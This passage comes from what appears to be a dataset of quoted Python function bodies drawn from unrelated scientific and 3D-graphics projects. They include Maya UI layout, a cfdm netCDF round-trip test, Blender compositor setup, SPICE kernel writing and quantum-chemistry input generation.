SHADER_OVERRIDE_OPTIONS[0]['ui']\n cmds.columnLayout('%s_columnLayout03' % windowID, edit=True,\n visible=False)\n\n # #################################################\n\n cmds.setParent(q.fullPath)\n cmds.separator(height=10, style='none')\n\n # #################################################\n # Extras\n\n addFrameLayout('%s_frameLayout50' % windowID, 'Extras',\n collapsable=True, marginHeight=0,\n labelVisible=False)\n\n # #################################################\n # Add & Assign Shader Groups\n\n addFrameLayout(\n '%s_frameLayout05' % windowID,\n 'Add & Assign Shader Groups',\n collapsable=True,\n marginWidth=0,\n marginHeight=0,\n collapse=False,\n labelVisible=True,\n )\n\n # Add the renamer window\n\n self.gwCustomRenamer = CustomRenamer()\n self.gwCustomRenamer.createUI()\n\n # #################################################\n # AutoConnect\n\n cmds.setParent('%s_frameLayout50' % windowID)\n\n addFrameLayout(\n '%s_frameLayout03' % windowID,\n 'Adobe Connector',\n collapsable=True,\n marginWidth=0,\n marginHeight=0,\n collapse=True,\n labelVisible=True,\n )\n addRowLayout('%s_rowLayout07', 3, columnAlign3=('left', 'left',\n 'left'), columnAttach3=('both', 'both', 'both'),\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\n addButton('updateConnections', '> Update Connections <',\n updateConnections)\n addButton('uvSnapshot', 'UV Snapshot', uvSnapshot)\n addButton('editTexture', 'Edit Texture', editTexture)\n\n # After Effects\n\n cmds.setParent('%s_frameLayout03' % windowID)\n addRowLayout('%s_rowLayout11' % windowID, 2,\n columnAlign2=('left', 'left'),\n columnAttach2=('both', 'both'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.6))\n addText('%s_text90' % windowID, 'Send to After Effects:')\n addButton('makeCompButton', 'Send to After Effects', rsMakeComp)\n\n # #################################################\n # Render Setup /\n # Output settings\n\n cmds.setParent('%s_frameLayout50' % windowID)\n addFrameLayout(\n '%s_frameLayout04' % windowID,\n 'Output Settings',\n collapsable=True,\n marginWidth=0,\n marginHeight=0,\n collapse=True,\n labelVisible=True,\n )\n addRowLayout('%s_rowLayout08' % windowID, 1,\n columnAlign1='center', columnAttach1='both',\n columnWidth1=WINDOW_WIDTH - FRAME_MARGIN * 2)\n addButton('%s_revealOutputDirectory' % windowID,\n 'Output path not set yet', rsRevealOutputDirectory)\n\n cmds.setParent('%s_frameLayout04' % windowID)\n addRowLayout('%s_rowLayout09' % windowID, 3,\n columnAlign3=('left', 'right', 'right'),\n columnAttach3=('left', 'right', 'right'),\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.8, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.14,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.06))\n\n addOptionMenu('%s_optionMenu05' % windowID, '', (),\n rsSelectOutputTemplate)\n addOptionMenu('%s_outputVersionMenu' % windowID, '', (),\n rsSelectOutputVersion)\n cmds.menuItem(label='v001')\n\n cmds.setParent('%s_rowLayout09' % windowID)\n addButton('%s_incrementOutputVersionButton' % windowID, '+1',\n rsIncrementOutputVersion, size=(21, 21))\n\n cmds.setParent('%s_frameLayout04' % windowID)\n addRowLayout('%s_rowLayout10' % windowID, 2,\n columnAlign2=('left', 'left'),\n columnAttach2=('both', 'right'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.7, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\n addOptionMenu('%s_optionMenu03' % windowID, 'Format:', (),\n rsOutputTemplatesMenu)\n addOptionMenu('%s_optionMenu06' % windowID, '', (),\n rsSetFPSMenu)\n\n cmds.setParent('%s_frameLayout04' % windowID)\n addRowLayout('%s_rowLayout12' % windowID, 4,\n columnAlign4=('right', 'left', 'right', 'left'),\n columnAttach4=('both', 'both', 'both', 'both'),\n columnWidth4=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.50, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.20,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15))\n\n addText('%s_setInFrameLabel' % windowID, 'In Frame ')\n addTextField('%s_setInFrame' % windowID, '', setInFrame,\n setInFrame, setInFrame)\n\n addText('%s_setOutFrameLabel' % windowID, 'Out Frame ')\n addTextField('%s_setOutFrame' % windowID, '', setOutFrame,\n setOutFrame, setOutFrame)","def __init__(self, name, force_field):\n self.molecule = force_field.blocks[name]","def create(args):\n print('Creates an HPC fleet with given name \"{}\"'.format(args.fleet_name))","def create(self):\n self.parent.copyCurrentWinState(self.pltw)\n # add a new vector\n vname = self.pltw.curvelist[self.cpos].name + 'BL'\n (nvec, npt) = np.shape(self.pltw.blklst[self.blkno])\n if self.pltw.pasteVector(self.data[2], self.blkno, vname):\n xname = self.pltw.getVnam(self.blkno, self.xpos)\n xvinfo = vectInfo(self.blkno, self.xpos, xname)\n yvinfo = vectInfo(self.blkno, nvec, vname)\n self.pltw.curvelist.append(curveInfo(vname, xvinfo, yvinfo))\n self.pltw.updatePlot()\n self.pltw.dirty = True\n self.pltw.activecurv = self.cpos\n self.parent.updateUI()\n self.hide()","def create_e3d_file(self,path='./'):\n dt=0.606*self.model_parameters['dh']/np.max(self.velocity_model['vp']) # dt needs to satify the courant condition\n t=int(self.model_parameters['duration']/dt)\n \n # Check path exists, if not create one\n if not os.path.exists(path):\n os.makedirs(path)\n \n # Create e3d parameter file\n f=open('%s%s_e3dmodel.txt'%(path,self.model_name),'w')\n f.write(\"grid x=%s z=%s dh=%s b=2 q=1\\ntime dt=%0.5f t=%s\\n\"%(self.model_parameters['xmax'],self.model_parameters['zmax'],self.model_parameters['dh'],dt,t))\n f.write(\"block p=%s s=%s r=%s Q=20 Qf=50\\n\"%(self.velocity_model['vp'][0],self.velocity_model['vs'][0],self.velocity_model['rho'][0]))\n \n for i in range(1,len(self.velocity_model['vp'])-1):\n f.write(\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\n\"%(self.velocity_model['vp'][i],self.velocity_model['vs'][i],self.velocity_model['rho'][i],\n self.velocity_model['depth'][i],self.velocity_model['depth'][i+1]))\n \n f.write(\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\n\\n\"%(self.velocity_model['vp'][i+1],self.velocity_model['vs'][i+1],self.velocity_model['rho'][i+1],\n self.velocity_model['depth'][i+1],self.model_parameters['zmax'])) # extend to the based of the model \n \n f.write(\"visual movie=5\\n\\n\")\n\n if self.source['src_type']!=4:\n f.write(\"source type=%s x=%s z=%s freq=%s amp=%s\\n\\n\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'])) \n else:\n f.write(\"source type=%s x=%s z=%s freq=%s amp=%s Mxx=%s Myy=%s Mzz=%s Mxy=%s Mxz=%s Myz=%s\\n\\n\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'],self.source['mt'][0],self.source['mt'][1],self.source['mt'][2],self.source['mt'][3],self.source['mt'][4],self.source['mt'][5])) \n\n for r in range(len(self.receivers['recxs'])):\n f.write('sac x=%0.3f z=%0.3f file=%s\\n'%(self.receivers['recxs'][r],self.receivers['reczs'][r],self.model_name))\n\n f.write(\"visual sample=0.1 movie=1 scale=10000000000/n\")\n f.close()\n \n print('File created: %s%s_e3dmodel.txt'%(path,self.model_name))","def create_com_from_pdb_str(pdb_str, gau_tpl_content, com_fname):\n coord_list = []\n pdb_str_list = pdb_str.split(\"\\n\")\n for line in pdb_str_list:\n if line.startswith('ATOM') or line.startswith('HETATM'):\n element = line[PDB_BEFORE_ELE_LAST_CHAR:PDB_ELE_LAST_CHAR].strip()\n pdb_xyz = line[PDB_MOL_NUM_LAST_CHAR:PDB_Z_LAST_CHAR]\n coord_list.append([\"{:6}\".format(element), pdb_xyz])\n elif line.startswith('CONECT') or line.startswith('END'):\n break\n list_to_file(gau_tpl_content[SEC_HEAD] + coord_list + gau_tpl_content[SEC_TAIL], com_fname, print_message=False)","def __init__(self, *args, **kwargs):\n global _image3D_index\n mambaComposed.sequenceMb.__init__(self, *args, **kwargs)\n \n self.name = \"Image3D \"+str(_image3D_index)\n _image3D_index = _image3D_index + 1\n \n if kwargs.has_key(\"displayer\"):\n self._displayerUsr = kwargs[\"displayer\"]\n else:\n self._displayerUsr = None\n self._displayerPjt = m3D.getProjDisplayer\n self._displayerVtk = m3D.getVtkDisplayer\n self._displayPjt = None\n self._displayUsr = None\n self._displayVtk = None\n \n self.mb3DIm = core3D.MB3D_Image(list(map(lambda im: im.mbIm, self.seq)))","def build_roi_box_head(cfg):\n return ROIBoxHead3D(cfg)","def Make_surface(self, par, verbose=False):\n ## check if we are dealing with a dictionary\n if isinstance(par, dict):\n self.star.Make_surface(\n q = par['q'],\n porb = par['porb'],\n incl = par['incl'],\n k1 = par['k1'],\n omega = par['omega'],\n filling = par['filling'],\n tempgrav = par['tempgrav'],\n temp = par['temp'],\n tirr = par['tirr']\n )\n else:\n self.star.Make_surface(\n q = par[0],\n porb = par[1],\n incl = par[2],\n k1 = par[3],\n omega = par[4],\n filling = par[5],\n tempgrav = par[6],\n temp = par[7],\n tirr = par[8]\n )\n\n if verbose:\n print( \"Content on input parameter for Make_surface\" )\n print( par )\n\n return","def test_create_field_3(self):\n # Dimension coordinates\n data = numpy.arange(9.0) + 20\n data[-1] = 34\n dim0 = cfdm.DimensionCoordinate(data=cfdm.Data(data))\n dim0.set_property(\"standard_name\", \"grid_longitude\")\n dim0.set_property(\"units\", \"degrees\")\n\n array = dim0.data.array\n\n array = numpy.array([array - 0.5, array + 0.5]).transpose((1, 0))\n array[-2, 1] = 30\n array[-1, :] = [30, 36]\n dim0.set_bounds(cfdm.Bounds(data=cfdm.Data(array)))\n\n dim1 = cfdm.DimensionCoordinate(data=cfdm.Data(numpy.arange(10.0)))\n dim1.set_property(\"standard_name\", \"grid_latitude\")\n dim1.set_property(\"units\", \"degrees\")\n\n dim2 = cfdm.DimensionCoordinate(\n data=cfdm.Data([1.5]),\n bounds=cfdm.Bounds(data=cfdm.Data([[1, 2.0]])),\n )\n dim2.set_property(\n \"standard_name\", \"atmosphere_hybrid_height_coordinate\"\n )\n dim2.set_property(\"computed_standard_name\", \"altitude\")\n\n dim3 = cfdm.DimensionCoordinate(data=cfdm.Data(numpy.array([15.0])))\n dim3.set_property(\"standard_name\", \"time\")\n dim3.set_property(\"units\", \"days since 2004-06-01\")\n\n dim3.set_bounds(cfdm.Bounds(data=cfdm.Data([[0, 30.0]])))\n\n # dim3.set_geometry('climatology')\n\n # Auxiliary coordinates\n ak = cfdm.DomainAncillary(data=cfdm.Data([10.0]))\n ak.set_property(\"units\", \"m\")\n ak.set_bounds(cfdm.Bounds(data=cfdm.Data([[5, 15.0]])))\n\n bk = cfdm.DomainAncillary(data=cfdm.Data([20.0]))\n bk.set_bounds(cfdm.Bounds(data=cfdm.Data([[14, 26.0]])))\n\n aux2 = cfdm.AuxiliaryCoordinate(\n data=cfdm.Data(numpy.arange(-45, 45, dtype=\"int32\").reshape(10, 9))\n )\n aux2.set_property(\"units\", \"degree_N\")\n aux2.set_property(\"standard_name\", \"latitude\")\n\n aux3 = cfdm.AuxiliaryCoordinate(\n data=cfdm.Data(numpy.arange(60, 150, dtype=\"int32\").reshape(9, 10))\n )\n aux3.set_property(\"standard_name\", \"longitude\")\n aux3.set_property(\"units\", \"degreeE\")\n\n array = numpy.ma.array(\n [\n \"alpha\",\n \"beta\",\n \"gamma\",\n \"delta\",\n \"epsilon\",\n \"zeta\",\n \"eta\",\n \"theta\",\n \"iota\",\n \"kappa\",\n ],\n )\n array[0] = numpy.ma.masked\n aux4 = cfdm.AuxiliaryCoordinate(data=cfdm.Data(array))\n aux4.set_property(\"standard_name\", \"greek_letters\")\n\n # Cell measures\n msr0 = cfdm.CellMeasure(\n data=cfdm.Data(1 + numpy.arange(90.0).reshape(9, 10) * 1234)\n )\n msr0.set_measure(\"area\")\n msr0.set_property(\"units\", \"km2\")\n\n # Data\n data = cfdm.Data(numpy.arange(90.0).reshape(10, 9))\n\n properties = {\"units\": \"m s-1\"}\n\n f = cfdm.Field(properties=properties)\n f.set_property(\"standard_name\", \"eastward_wind\")\n\n axisX = f.set_construct(cfdm.DomainAxis(9))\n axisY = f.set_construct(cfdm.DomainAxis(10))\n axisZ = f.set_construct(cfdm.DomainAxis(1))\n axisT = f.set_construct(cfdm.DomainAxis(1))\n\n f.set_data(data, axes=[axisY, axisX])\n\n x = f.set_construct(dim0, axes=[axisX])\n y = f.set_construct(dim1, axes=[axisY])\n z = f.set_construct(dim2, axes=[axisZ])\n f.set_construct(dim3, axes=[axisT])\n\n lat = f.set_construct(aux2, axes=[axisY, axisX])\n lon = f.set_construct(aux3, axes=[axisX, axisY])\n f.set_construct(aux4, axes=[axisY])\n\n ak = f.set_construct(ak, axes=[axisZ])\n bk = f.set_construct(bk, axes=[axisZ])\n\n # Coordinate references\n # ref0 = cfdm.CoordinateReference(\n # parameters={'grid_mapping_name': 'rotated_latitude_longitude',\n # 'grid_north_pole_latitude': 38.0,\n # 'grid_north_pole_longitude': 190.0,\n # 'earth_radius': 6371007,},\n # coordinates=[x, y, lat, lon]\n # )\n\n coordinate_conversion = cfdm.CoordinateConversion(\n parameters={\n \"grid_mapping_name\": \"rotated_latitude_longitude\",\n \"grid_north_pole_latitude\": 38.0,\n \"grid_north_pole_longitude\": 190.0,\n }\n )\n\n datum = cfdm.Datum(parameters={\"earth_radius\": 6371007})\n\n ref0 = cfdm.CoordinateReference(\n coordinate_conversion=coordinate_conversion,\n datum=datum,\n coordinates=[x, y, lat, lon],\n )\n\n f.set_construct(msr0, axes=[axisX, axisY])\n\n f.set_construct(ref0)\n\n orog = cfdm.DomainAncillary(data=f.get_data())\n orog.set_property(\"standard_name\", \"surface_altitude\")\n orog.set_property(\"units\", \"m\")\n orog = f.set_construct(orog, axes=[axisY, axisX])\n\n datum1 = cfdm.Datum({\"earth_radius\": 6371007})\n\n coordinate_conversion1 = cfdm.CoordinateConversion(\n parameters={\n \"standard_name\": \"atmosphere_hybrid_height_coordinate\",\n \"computed_standard_name\": \"altitude\",\n },\n domain_ancillaries={\"orog\": orog, \"a\": ak, \"b\": bk},\n )\n\n ref1 = cfdm.CoordinateReference(\n datum=datum1,\n coordinate_conversion=coordinate_conversion1,\n coordinates=[z],\n )\n\n ref1 = f.set_construct(ref1)\n\n # Field ancillary variables\n # g = f.transpose([1, 0])\n g = f.copy()\n # g.standard_name = 'ancillary0'\n # g *= 0.01\n anc = cfdm.FieldAncillary(data=g.get_data())\n anc.standard_name = \"ancillaryA\"\n f.set_construct(anc, axes=[axisY, axisX])\n\n g = f[0]\n g = g.squeeze()\n # g.standard_name = 'ancillary2'\n # g *= 0.001\n anc = cfdm.FieldAncillary(data=g.get_data())\n anc.standard_name = \"ancillaryB\"\n f.set_construct(anc, axes=[axisX])\n\n g = f[..., 0]\n g = g.squeeze()\n # g.standard_name = 'ancillary3'\n # g *= 0.001\n anc = cfdm.FieldAncillary(data=g.get_data())\n anc.standard_name = \"ancillaryC\"\n f.set_construct(anc, axes=[axisY])\n\n f.set_property(\"flag_values\", numpy.array([1, 2, 4], \"int32\"))\n f.set_property(\"flag_meanings\", \"a bb ccc\")\n f.set_property(\"flag_masks\", [2, 1, 0])\n\n cm0 = cfdm.CellMethod(\n axes=[axisX],\n method=\"mean\",\n qualifiers={\"interval\": [cfdm.Data(1, \"day\")], \"comment\": \"ok\"},\n )\n\n cm1 = cfdm.CellMethod(\n axes=[axisY], method=\"maximum\", qualifiers={\"where\": \"sea\"}\n )\n\n cm2 = cfdm.CellMethod(\n axes=[axisT], method=\"maximum\", qualifiers={\"within\": \"years\"}\n )\n\n cm3 = cfdm.CellMethod(\n axes=[axisT], method=\"minimum\", qualifiers={\"over\": \"years\"}\n )\n\n f.set_construct(cm0)\n f.set_construct(cm1)\n f.set_construct(cm2)\n f.set_construct(cm3)\n\n cfdm.write(f, self.filename, fmt=\"NETCDF3_CLASSIC\", verbose=verbose)\n\n g = cfdm.read(self.filename, verbose=verbose)\n\n self.assertEqual(\n len(g), 1, f\"Read produced too many fields: {len(g)} != 1\"\n )\n\n g = g[0].squeeze()\n\n self.assertEqual(\n sorted(f.constructs),\n sorted(g.constructs),\n f\"\\n\\nf (created in memory)\"\n f\"\\n{f.constructs}\"\n f\"\\n\\n{f.constructs.items()}\"\n f\"\\n\\ng (read from disk)\"\n f\"\\n{g.constructs}\"\n f\"\\n\\n{g.constructs.items()}\",\n )\n\n self.assertTrue(\n f.equals(f.copy(), verbose=verbose),\n \"Field f not equal to a copy of itself\",\n )\n\n self.assertTrue(\n g.equals(g.copy(), verbose=verbose),\n \"Field g not equal to a copy of itself\",\n )\n\n self.assertTrue(\n g.equals(f, verbose=verbose),\n \"Field not equal to itself read back in\",\n )\n\n x = g.dump(display=False)\n x = f.dump(display=False)\n\n g = cfdm.read(\n self.filename,\n verbose=verbose,\n extra=[\"domain_ancillary\"],\n warnings=warnings,\n )","def generate_guide_mesh():\n verts = [[0.0, 0.0, 0.0], [-0.01, -0.01, 0.1], [-0.01, 0.01, 0.1], [0.01, -0.01, 0.1], [0.01, 0.01, 0.1], [-0.03, -0.03, 0.1], [-0.03, 0.03, 0.1], [0.03, 0.03, 0.1], [0.03, -0.03, 0.1], [-0.01, -0.01, 0.2], [-0.01, 0.01, 0.2], [0.01, -0.01, 0.2], [0.01, 0.01, 0.2]]\n edges = [[0, 5], [5, 6], [6, 7], [7, 8], [8, 5], [1, 2], [2, 4], [4, 3], [3, 1], [5, 1], [2, 6], [4, 7], [3, 8], [9, 10], [10, 12], [12, 11], [11, 9], [3, 11], [9, 1], [2, 10], [12, 4], [6, 0], [7, 0], [8, 0]]\n faces = [[0, 5, 6], [0, 6, 7], [0, 7, 8], [0, 8, 5], [1, 3, 11, 9], [1, 2, 6, 5], [2, 4, 7, 6], [4, 3, 8, 7], [3, 1, 5, 8], [12, 10, 9, 11], [4, 2, 10, 12], [3, 4, 12, 11], [2, 1, 9, 10]]\n name = 'ModelingClothPinGuide'\n if 'ModelingClothPinGuide' in bpy.data.objects:\n mesh_ob = bpy.data.objects['ModelingClothPinGuide']\n else: \n mesh = bpy.data.meshes.new('ModelingClothPinGuide')\n mesh.from_pydata(verts, edges, faces) \n mesh.update()\n mesh_ob = bpy.data.objects.new(name, mesh)\n bpy.context.scene.objects.link(mesh_ob)\n mesh_ob.show_x_ray = True\n return mesh_ob","def create_layout( self ):","def create(self):\n\t\tlipsBaseFile.imp()","def comp_add_wireframe_freestyle(self):\n scene = self.set_as_active()\n scene.use_nodes = True\n tree = scene.node_tree\n tree.nodes.clear()\n\n # creating the nodes\n node_alphaover = tree.nodes.new('CompositorNodeAlphaOver')\n node_alphaover.location = -25, 50\n\n node_rlwire = tree.nodes.new('CompositorNodeRLayers')\n node_rlwire.location = -400, 250\n node_rlwire.scene = scene\n node_rlwire.layer = w_var.rlname\n\n node_rlclay = tree.nodes.new('CompositorNodeRLayers')\n node_rlclay.location = -400, -75\n node_rlclay.scene = scene\n node_rlclay.layer = w_var.rlname_other\n\n node_comp = tree.nodes.new('CompositorNodeComposite')\n node_comp.location = 400, 65\n\n node_viewer = tree.nodes.new('CompositorNodeViewer')\n node_viewer.location = 400, -125\n\n # connecting the nodes\n links = tree.links\n links.new(node_rlwire.outputs[0], node_alphaover.inputs[1])\n links.new(node_rlclay.outputs[0], node_alphaover.inputs[2])\n\n if w_var.cb_ao:\n node_mixcolor_wire = tree.nodes.new('CompositorNodeMixRGB')\n node_mixcolor_wire.location = -125, 150\n node_mixcolor_wire.blend_type = 'MULTIPLY'\n node_mixcolor_wire.inputs[0].default_value = 0.730\n\n node_mixcolor_clay = tree.nodes.new('CompositorNodeMixRGB')\n node_mixcolor_clay.location = -125, -100\n node_mixcolor_clay.blend_type = 'MULTIPLY'\n node_mixcolor_clay.inputs[0].default_value = 0.730\n\n node_alphaover.location = 125, 75\n\n links.new(node_rlwire.outputs[0], node_mixcolor_wire.inputs[1])\n links.new(node_rlwire.outputs[10], node_mixcolor_wire.inputs[2])\n\n links.new(node_rlclay.outputs[0], node_mixcolor_clay.inputs[1])\n links.new(node_rlclay.outputs[10], node_mixcolor_clay.inputs[2])\n\n links.new(node_mixcolor_wire.outputs[0], node_alphaover.inputs[1])\n links.new(node_mixcolor_clay.outputs[0], node_alphaover.inputs[2])\n\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\n\n else:\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\n\n for node in tree.nodes:\n node.select = False","def build_pcb(self, bg=None):","def _configure(self):\n from .topology import FieldBase\n\n Component._configure(self)\n\n mapBasis = {\n \"simplex\": FieldBase.SIMPLEX_BASIS,\n \"tensor\": FieldBase.TENSOR_BASIS,\n \"default\": FieldBase.DEFAULT_BASIS,\n }\n self.cellBasis = mapBasis[self.inventory.cellBasisStr]\n\n mapSpace = {\n \"polynomial\": FieldBase.POLYNOMIAL_SPACE,\n \"point\": FieldBase.POINT_SPACE,\n }\n self.feSpace = mapSpace[self.inventory.feSpaceStr]\n return","def create(data):\n \n return Part(\n part_id = data['part_num'],\n category_id = data['part_cat_id'],\n external_ids = data.get('external_ids', {}),\n name = data['name'],\n year_from = data.get('year_from', None),\n year_to = data.get('year_to', None),\n url = data.get('part_url', None),\n img_url = data.get('part_img_url', None),\n print_of = data.get('print_of', None),\n prints = data.get('prints', []),\n molds = data.get('molds', []),\n alternates = data.get('alternates', []))","def create(data):\n \n # create part\n part = Part.create(data['part'])\n \n # create color\n color = Color.create(data['color'])\n \n # create element\n element = Element(\n part = part,\n color = color,\n element_id = data.get('element_id', None),\n design_id = data.get('design_id', None),\n img_url = data.get('element_img_url', None),\n count = data.get('quantity', None),\n is_spare = data.get('is_spare', None))\n \n return element","def __init__(self, name, volume_id, roi, electric_field, create_S2, xe_density=2.862):\n self.name = name\n self.volume_id = volume_id\n self.roi = roi\n\n self.electric_field = electric_field\n self.xe_density = xe_density\n self.create_S2 = create_S2\n self._is_valid()","def __init__(self,inp='INP.mcnp'):\n # Material dictionary for the moderator, light guide, and detector\n self.material = {'Moderator':None,'Detector':None,'LightGuide':None}\n self.material['Detector'] = {'name':'Detector','mt': 3, 'rho': 1.1,'matString':None} # detector\n self.material['LightGuide'] = {'name': 'PMMA','mt':10, 'rho':0.93} # PMMA\n self.material['Moderator'] = {'name':'HDPE','mt':456, 'rho': 0.93} # HPDE\n \n # Cell and Surface Inital Numbering\n self.CellStartNum = 600\n self.SurfaceStartNum = 600\n self.ZeroSurfaceNum = 500\n self.UniverseNum = 200\n self.surfGeo = None\n self.inp = inp\n self.name = 'OUT_'+self.inp.strip('.mcnp')+'.'\n self.setMaterial(0.1,'PS')","def pack_spheres(shape, scale, number_of_cells, algorithm):\r\n if algorithm == 'simple':\r\n data = simple_packing(shape, scale, number_of_cells)\r\n else:\r\n create_input(number_of_cells)\r\n make_csd(shape, scale, number_of_cells)\r\n generate_structure(algorithm)\r\n data = read_results()\r\n np.savetxt('Project01.rco', data)\r\n render_packing(data)","def car_template(ncomp, ra0, ra1, dec0, dec1, res):\n\n if ncomp == 3:\n pre = (3,)\n else:\n pre = ()\n\n box = get_box(ra0, ra1, dec0, dec1)\n res = res * np.pi / (180 * 60)\n temp = so_map()\n shape, wcs = enmap.geometry(box, res=res, pre=pre)\n temp.data = enmap.zeros(shape, wcs=wcs, dtype=None)\n temp.pixel = \"CAR\"\n temp.nside = None\n temp.ncomp = ncomp\n temp.geometry = temp.data.geometry[1:]\n temp.coordinate = \"equ\"\n return temp","def create(connection, args):\n\n metadata = sap.adt.ADTCoreData(language='EN', master_language='EN', responsible=connection.user.upper())\n iface = sap.adt.Interface(connection, args.name.upper(), package=args.package.upper(), metadata=metadata)\n iface.description = args.description\n iface.create()","def createckfk(self, observer, dbname, t0, field1, nfields, mk): \n\n observerint=self.mpc2internal(observer)\n instrumentint=observerint*1000\n\n with open(\"cksetupfile\", \"w\") as f:\n f.write(\"KPL/IK \\nComments describing the keywords and values \\nto follow, as well as any other pertinent \\ninformation.\\n\\\\begindata\\n\")\n f.write(\"LSK_FILE_NAME = '%s'\\n\" %(mk))\n f.write(\"\\n\")\n f.write(\"INTERNAL_FILE_NAME = 'Survey Sim Camera Orientation'\\n\")\n f.write(\"\\n\")\n f.write(\"MAKE_FAKE_SCLK = 'tmpsclk'\\n\")\n f.write(\"CK_TYPE = 3\\n\")\n f.write(\"CK_SEGMENT_ID = 'Instrument Orientation'\\n\")\n f.write(\"INSTRUMENT_ID = %i \\n\" %(instrumentint))\n f.write(\"REFERENCE_FRAME_NAME = 'J2000'\\n\")\n f.write(\"ANGULAR_RATE_PRESENT = 'NO'\\n\")\n f.write(\"\\n\")\n f.write(\"INPUT_DATA_TYPE = 'SPICE QUATERNIONS'\\n\")\n f.write(\"INPUT_TIME_TYPE = 'UTC'\\n\")\n f.write(\"MAXIMUM_VALID_INTERVAL = 60\\n\") \n f.write(\"\\n\")\n f.write(\"PRODUCER_ID = 'Survey Sim, JPL'\\n\")\n f.write(\"\\\\begintext\")\n f.close()\n\n\n self.readfields(dbname,field1,nfields, t0)\n with open(\"ckip\",\"w\") as f:\n\n for i in range(len(self.fieldRA)):\n quat=self.computerotmat(self.fieldRA[i], self.fieldDec[i], self.rotSkyPos[i])\n\n #This helps with duplicate entries. For example enigma_1189 can have same fieldID's under different propID's\n #Issue warning for duplicate time. Have a verbose mode for displaying that (true as default)\n if (self.fieldMJD[i] !=self.fieldMJD[i-1]):\n JD=self.fieldMJD[i]+shared.mjd2jd\n timestring= 'JD'+repr(JD)\n f.write(\"%s %f %f %f %f\\n\" %(timestring,quat[0],quat[1],quat[2],quat[3]))\n f.close()\n try:\n os.system('rm tmp.ck tmpsclk test.ck fakesclk >/dev/null')\n except:\n pass\n os.system('msopck cksetupfile ckip tmp.ck > /dev/null')\n\n os.system('rsync tmpsclk fakesclk > /dev/null')\n os.system('rsync tmp.ck test.ck > /dev/null')\n\n with open(\"tmp.fk\",\"w\") as f:\n f.write(\"\\\\begindata\\n\\n\")\n f.write(\"FRAME_CAMERA_FRAME = %i\\n\" %(instrumentint))\n f.write(\"FRAME_%i_NAME = 'CAMERA_FRAME'\\n\" %(instrumentint))\n f.write(\"FRAME_%i_CLASS = 3\\n\" %(instrumentint))\n f.write(\"FRAME_%i_CLASS_ID = %i\\n\" %(instrumentint, instrumentint))\n f.write(\"FRAME_%i_CENTER = %i\\n\" %(instrumentint, observerint))\n f.write(\"CK_%i_SCLK = %i\\n\" %(instrumentint, observerint))\n f.write(\"CK_%i_SPK = %i\\n\\n\" %(instrumentint, observerint))\n f.write(\"\\\\begintext\\n\")\n f.close()\n \n os.system('rsync tmp.fk test.fk')","def create_molpro_input(species, natom, atom, mult, charge, wellorts):\n \n with open(par.tpldir + 'molpro.tpl') as f:\n file = f.read()\n \n fname = str(species.chemid)\n if wellorts: fname = species.name\n \n geom = ''\n nelectron = 0\n for i,at in enumerate(atom):\n x,y,z = species.geom[i]\n geom += '{} {:.8f} {:.8f} {:.8f}\\n'.format(at,x,y,z)\n nelectron += znumber[at]\n \n nelectron -= charge\n \n outf = open('molpro/' + fname + '.inp','w')\n outf.write(file.format( name = fname,\n natom = natom,\n atom = atom,\n geom = geom,\n nelectron = nelectron,\n spin = mult - 1,\n charge = charge\n ))\n outf.close()","def makeProject(\n self,\n projectFilePath,\n files,\n constraints,\n part,\n generics,\n workingDirectory,\n entity\n ):\n log.info('Creating project file for Quartus...')\n # Import the quartus TCL project module\n projectFileString = 'package require ::quartus::project' + '\\n'\n projectFileString += 'package require ::quartus::flow' + '\\n'\n projectFileString += 'load_package report' + '\\n'\n # Create the project\n projectFileString += self.tcl_project_new(entity)\n # Set the top level\n projectFileString += self.tcl_set_top_level_entity(entity)\n # Set the part\n projectFileString += self.tcl_set_part(part)\n # Add all the source files to the project\n for libName, fileList in files.items():\n for fileObject in fileList:\n projectFileString += self.tcl_add_file(fileObject)\n\n # Add the project generics\n for k, v in generics.items():\n projectFileString += self.tcl_set_generic(k, v)\n\n # Add user constraints and other source files\n sdcString = ''\n for fileObject in constraints:\n if fileObject.flow == 'quartus' or fileObject.flow is None:\n if fileObject.fileType == FileType.TCL:\n with open(fileObject.path, 'r') as constraintsFile:\n projectFileString += constraintsFile.read()\n projectFileString += '\\n'\n log.info(\n 'Added supplementary TCL script: ' +\n fileObject.path\n )\n elif fileObject.fileType == FileType.SDC:\n with open(fileObject.path, 'r') as constraintsFile:\n sdcString += constraintsFile.read()\n sdcString += '\\n'\n log.info(\n 'Added timing constraints script: ' +\n fileObject.path\n )\n if len(sdcString) > 0:\n sdcPath = os.path.join(workingDirectory, entity + '.sdc')\n with open(sdcPath, 'w') as f:\n log.info('Writing: ' + str(sdcPath))\n f.write(sdcString)\n\n # Commit the assignment\n projectFileString += 'export_assignments' + '\\n'\n # Execute the flow\n projectFileString += 'execute_flow -compile' + '\\n'\n # Close the project\n projectFileString += self.tcl_project_close()\n\n # Write out the synthesis project file\n log.debug('Writing: ' + projectFilePath)\n with open(projectFilePath, 'w') as f:\n f.write(projectFileString)\n log.info(\"...done\")","def mkMsg(self):\n # getting the version of project_coords\n project_coords_cmd = 'project_coords --version'\n outp = popen2.Popen4(project_coords_cmd)\n outpline = outp.fromchild.readlines()\n pcoorVer = 